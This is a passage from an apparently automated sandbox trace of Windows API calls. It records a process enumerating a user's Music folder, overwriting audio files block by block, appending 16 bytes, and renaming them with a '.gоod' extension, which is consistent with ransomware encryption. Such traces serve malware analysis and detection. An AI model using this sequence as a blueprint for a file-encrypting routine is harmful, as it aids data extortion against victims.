lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", lpFilePart=0x0) returned 0x48 [0210.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0210.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\xxvpa_6gi1d ff0fmg_6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.683] GetFileType (hFile=0x478) returned 0x1 [0210.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0210.684] GetFileType (hFile=0x478) returned 0x1 [0210.684] ReadFile (in: hFile=0x478, lpBuffer=0x36df160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eccf8, lpOverlapped=0x0 | out: lpBuffer=0x36df160*, lpNumberOfBytesRead=0x202eccf8*=0x1000, lpOverlapped=0x0) returned 1 [0211.320] CloseHandle (hObject=0x478) returned 1 [0211.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", nBufferLength=0x105, lpBuffer=0x202ec700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", lpFilePart=0x0) returned 0x48 [0211.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecc20) returned 1 [0211.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\xxvpa_6gi1d ff0fmg_6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0211.320] GetFileType (hFile=0x478) returned 0x1 [0211.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb90) returned 1 [0211.320] GetFileType (hFile=0x478) returned 0x1 [0211.320] WriteFile (in: hFile=0x478, lpBuffer=0x35285c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ecda8, lpOverlapped=0x0 | out: lpBuffer=0x35285c0*, lpNumberOfBytesWritten=0x202ecda8*=0x1010, lpOverlapped=0x0) returned 1 [0211.320] CloseHandle (hObject=0x478) returned 1 [0211.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3", lpFilePart=0x0) returned 0x48 [0211.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3.gоod", lpFilePart=0x0) returned 0x4d [0211.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecce0) returned 1 [0211.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\xxvpa_6gi1d ff0fmg_6.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ecdc0 | out: lpFileInformation=0x202ecdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22653490, ftCreationTime.dwHighDateTime=0x1d4c86f, ftLastAccessTime.dwLowDateTime=0x840ce640, ftLastAccessTime.dwHighDateTime=0x1d4d47f, ftLastWriteTime.dwLowDateTime=0x7a2bfc0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x77b4)) returned 1 [0211.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecca0) returned 1 [0211.321] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\xxvpa_6gi1d ff0fmg_6.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\xxVPA_6Gi1D Ff0Fmg_6.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\xxvpa_6gi1d ff0fmg_6.mp3.gоod")) returned 1 [0211.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0211.322] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_", lpFilePart=0x0) returned 0x3f [0211.322] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5744a730, ftCreationTime.dwHighDateTime=0x1d4ceb0, ftLastAccessTime.dwLowDateTime=0x8c57ccb0, ftLastAccessTime.dwHighDateTime=0x1d4c7fb, ftLastWriteTime.dwLowDateTime=0x8c57ccb0, ftLastWriteTime.dwHighDateTime=0x1d4c7fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0211.322] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5744a730, ftCreationTime.dwHighDateTime=0x1d4ceb0, ftLastAccessTime.dwLowDateTime=0x8c57ccb0, ftLastAccessTime.dwHighDateTime=0x1d4c7fb, ftLastWriteTime.dwLowDateTime=0x8c57ccb0, ftLastWriteTime.dwHighDateTime=0x1d4c7fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.322] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce1520, ftCreationTime.dwHighDateTime=0x1d4ce2f, ftLastAccessTime.dwLowDateTime=0x523317d0, ftLastAccessTime.dwHighDateTime=0x1d4cca4, ftLastWriteTime.dwLowDateTime=0x523317d0, ftLastWriteTime.dwHighDateTime=0x1d4cca4, nFileSizeHigh=0x0, nFileSizeLow=0x6431, dwReserved0=0x0, dwReserved1=0x0, cFileName="5V epLWJY9UNv1X.wav", cAlternateFileName="5VEPLW~1.WAV")) returned 1 [0211.322] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457cdda0, ftCreationTime.dwHighDateTime=0x1d4c5c4, ftLastAccessTime.dwLowDateTime=0xca9cc2b0, ftLastAccessTime.dwHighDateTime=0x1d4d2bd, ftLastWriteTime.dwLowDateTime=0xca9cc2b0, ftLastWriteTime.dwHighDateTime=0x1d4d2bd, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="tDi30qqZv5.mp3", cAlternateFileName="TDI30Q~1.MP3")) returned 1 [0211.322] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eacb640, ftCreationTime.dwHighDateTime=0x1d4d5d7, ftLastAccessTime.dwLowDateTime=0x915cf790, ftLastAccessTime.dwHighDateTime=0x1d4d22c, ftLastWriteTime.dwLowDateTime=0x915cf790, ftLastWriteTime.dwHighDateTime=0x1d4d22c, nFileSizeHigh=0x0, nFileSizeLow=0x13583, dwReserved0=0x0, dwReserved1=0x0, cFileName="tqTGqfw5Nf.mp3", cAlternateFileName="TQTGQF~1.MP3")) returned 1 [0211.323] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87afd20, ftCreationTime.dwHighDateTime=0x1d4cf9b, ftLastAccessTime.dwLowDateTime=0x3cd99a40, ftLastAccessTime.dwHighDateTime=0x1d4c5a0, ftLastWriteTime.dwLowDateTime=0x3cd99a40, ftLastWriteTime.dwHighDateTime=0x1d4c5a0, nFileSizeHigh=0x0, nFileSizeLow=0xab45, dwReserved0=0x0, dwReserved1=0x0, cFileName="tv91yatm9SxBqDfI.wav", cAlternateFileName="TV91YA~1.WAV")) returned 1 [0211.323] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0780e00, ftCreationTime.dwHighDateTime=0x1d4ce15, ftLastAccessTime.dwLowDateTime=0xa2bb3800, ftLastAccessTime.dwHighDateTime=0x1d4cf32, ftLastWriteTime.dwLowDateTime=0xa2bb3800, ftLastWriteTime.dwHighDateTime=0x1d4cf32, nFileSizeHigh=0x0, nFileSizeLow=0xac18, dwReserved0=0x0, dwReserved1=0x0, cFileName="UOBqvUE1JCO94ZV6.wav", cAlternateFileName="UOBQVU~1.WAV")) returned 1 [0211.323] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ff56970, ftCreationTime.dwHighDateTime=0x1d4ce8a, ftLastAccessTime.dwLowDateTime=0xa97821d0, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0xa97821d0, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wb9ZGR 3CWhETHVj1C", cAlternateFileName="WB9ZGR~1")) returned 1 [0211.323] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232077d0, ftCreationTime.dwHighDateTime=0x1d4cd5d, ftLastAccessTime.dwLowDateTime=0x36e3c2d0, ftLastAccessTime.dwHighDateTime=0x1d4cf70, ftLastWriteTime.dwLowDateTime=0x36e3c2d0, ftLastWriteTime.dwHighDateTime=0x1d4cf70, nFileSizeHigh=0x0, nFileSizeLow=0x180ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Wf9JoYQu52BpGSJoC.mp3", cAlternateFileName="_WF9JO~1.MP3")) returned 1 [0211.323] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.323] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0211.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0211.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0211.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0211.323] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_", lpFilePart=0x0) returned 0x3f [0211.324] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5744a730, ftCreationTime.dwHighDateTime=0x1d4ceb0, ftLastAccessTime.dwLowDateTime=0x8c57ccb0, ftLastAccessTime.dwHighDateTime=0x1d4c7fb, ftLastWriteTime.dwLowDateTime=0x8c57ccb0, ftLastWriteTime.dwHighDateTime=0x1d4c7fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0211.324] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5744a730, ftCreationTime.dwHighDateTime=0x1d4ceb0, ftLastAccessTime.dwLowDateTime=0x8c57ccb0, ftLastAccessTime.dwHighDateTime=0x1d4c7fb, ftLastWriteTime.dwLowDateTime=0x8c57ccb0, ftLastWriteTime.dwHighDateTime=0x1d4c7fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.324] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce1520, ftCreationTime.dwHighDateTime=0x1d4ce2f, ftLastAccessTime.dwLowDateTime=0x523317d0, ftLastAccessTime.dwHighDateTime=0x1d4cca4, ftLastWriteTime.dwLowDateTime=0x523317d0, ftLastWriteTime.dwHighDateTime=0x1d4cca4, nFileSizeHigh=0x0, nFileSizeLow=0x6431, dwReserved0=0x0, dwReserved1=0x0, cFileName="5V epLWJY9UNv1X.wav", cAlternateFileName="5VEPLW~1.WAV")) returned 1 [0211.324] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457cdda0, ftCreationTime.dwHighDateTime=0x1d4c5c4, ftLastAccessTime.dwLowDateTime=0xca9cc2b0, ftLastAccessTime.dwHighDateTime=0x1d4d2bd, ftLastWriteTime.dwLowDateTime=0xca9cc2b0, ftLastWriteTime.dwHighDateTime=0x1d4d2bd, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="tDi30qqZv5.mp3", cAlternateFileName="TDI30Q~1.MP3")) returned 1 [0211.324] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eacb640, ftCreationTime.dwHighDateTime=0x1d4d5d7, ftLastAccessTime.dwLowDateTime=0x915cf790, ftLastAccessTime.dwHighDateTime=0x1d4d22c, ftLastWriteTime.dwLowDateTime=0x915cf790, ftLastWriteTime.dwHighDateTime=0x1d4d22c, nFileSizeHigh=0x0, nFileSizeLow=0x13583, dwReserved0=0x0, dwReserved1=0x0, cFileName="tqTGqfw5Nf.mp3", cAlternateFileName="TQTGQF~1.MP3")) returned 1 [0211.324] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87afd20, ftCreationTime.dwHighDateTime=0x1d4cf9b, ftLastAccessTime.dwLowDateTime=0x3cd99a40, ftLastAccessTime.dwHighDateTime=0x1d4c5a0, ftLastWriteTime.dwLowDateTime=0x3cd99a40, ftLastWriteTime.dwHighDateTime=0x1d4c5a0, nFileSizeHigh=0x0, nFileSizeLow=0xab45, dwReserved0=0x0, dwReserved1=0x0, cFileName="tv91yatm9SxBqDfI.wav", cAlternateFileName="TV91YA~1.WAV")) returned 1 [0211.325] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0780e00, ftCreationTime.dwHighDateTime=0x1d4ce15, ftLastAccessTime.dwLowDateTime=0xa2bb3800, ftLastAccessTime.dwHighDateTime=0x1d4cf32, ftLastWriteTime.dwLowDateTime=0xa2bb3800, ftLastWriteTime.dwHighDateTime=0x1d4cf32, nFileSizeHigh=0x0, nFileSizeLow=0xac18, dwReserved0=0x0, dwReserved1=0x0, cFileName="UOBqvUE1JCO94ZV6.wav", cAlternateFileName="UOBQVU~1.WAV")) returned 1 [0211.325] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ff56970, ftCreationTime.dwHighDateTime=0x1d4ce8a, ftLastAccessTime.dwLowDateTime=0xa97821d0, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0xa97821d0, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wb9ZGR 3CWhETHVj1C", cAlternateFileName="WB9ZGR~1")) returned 1 [0211.325] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232077d0, ftCreationTime.dwHighDateTime=0x1d4cd5d, ftLastAccessTime.dwLowDateTime=0x36e3c2d0, ftLastAccessTime.dwHighDateTime=0x1d4cf70, ftLastWriteTime.dwLowDateTime=0x36e3c2d0, ftLastWriteTime.dwHighDateTime=0x1d4cf70, nFileSizeHigh=0x0, nFileSizeLow=0x180ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Wf9JoYQu52BpGSJoC.mp3", cAlternateFileName="_WF9JO~1.MP3")) returned 1 [0211.325] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232077d0, ftCreationTime.dwHighDateTime=0x1d4cd5d, ftLastAccessTime.dwLowDateTime=0x36e3c2d0, ftLastAccessTime.dwHighDateTime=0x1d4cf70, ftLastWriteTime.dwLowDateTime=0x36e3c2d0, ftLastWriteTime.dwHighDateTime=0x1d4cf70, nFileSizeHigh=0x0, nFileSizeLow=0x180ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Wf9JoYQu52BpGSJoC.mp3", cAlternateFileName="_WF9JO~1.MP3")) returned 0 [0211.325] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0211.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0211.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0211.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", lpFilePart=0x0) returned 0x53 [0211.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0211.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\5v eplwjy9unv1x.wav"), fInfoLevelId=0x0, lpFileInformation=0x3750670 | out: lpFileInformation=0x3750670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce1520, ftCreationTime.dwHighDateTime=0x1d4ce2f, ftLastAccessTime.dwLowDateTime=0x523317d0, ftLastAccessTime.dwHighDateTime=0x1d4cca4, ftLastWriteTime.dwLowDateTime=0x523317d0, ftLastWriteTime.dwHighDateTime=0x1d4cca4, nFileSizeHigh=0x0, nFileSizeLow=0x6431)) returned 1 [0211.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0211.326] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", lpFilePart=0x0) returned 0x53 [0211.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0211.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\5v eplwjy9unv1x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0211.326] GetFileType (hFile=0x478) returned 0x1 [0211.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0211.326] GetFileType (hFile=0x478) returned 0x1 [0211.326] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0211.326] ReadFile (in: hFile=0x478, lpBuffer=0x3750ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3750ac8*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0211.327] CloseHandle (hObject=0x478) returned 1 [0211.327] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", lpFilePart=0x0) returned 0x53 [0211.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0211.327] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\5v eplwjy9unv1x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0211.327] GetFileType (hFile=0x478) returned 0x1 [0211.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0211.327] GetFileType (hFile=0x478) returned 0x1 [0211.327] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x6431 [0211.328] WriteFile (in: hFile=0x478, lpBuffer=0x3751d80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3751d80*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0211.328] CloseHandle (hObject=0x478) returned 1 [0211.328] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", lpFilePart=0x0) returned 0x53 [0211.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0211.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\5v eplwjy9unv1x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0211.328] GetFileType (hFile=0x478) returned 0x1 [0211.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0211.328] GetFileType (hFile=0x478) returned 0x1 [0211.328] ReadFile (in: hFile=0x478, lpBuffer=0x3754060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3754060*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0211.833] CloseHandle (hObject=0x478) returned 1 [0211.833] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", lpFilePart=0x0) returned 0x53 [0211.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0211.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\5v eplwjy9unv1x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0211.834] GetFileType (hFile=0x478) returned 0x1 [0211.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0211.834] GetFileType (hFile=0x478) returned 0x1 [0211.834] WriteFile (in: hFile=0x478, lpBuffer=0x3552ee0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x3552ee0*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0211.834] CloseHandle (hObject=0x478) returned 1 [0211.834] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", nBufferLength=0x105, 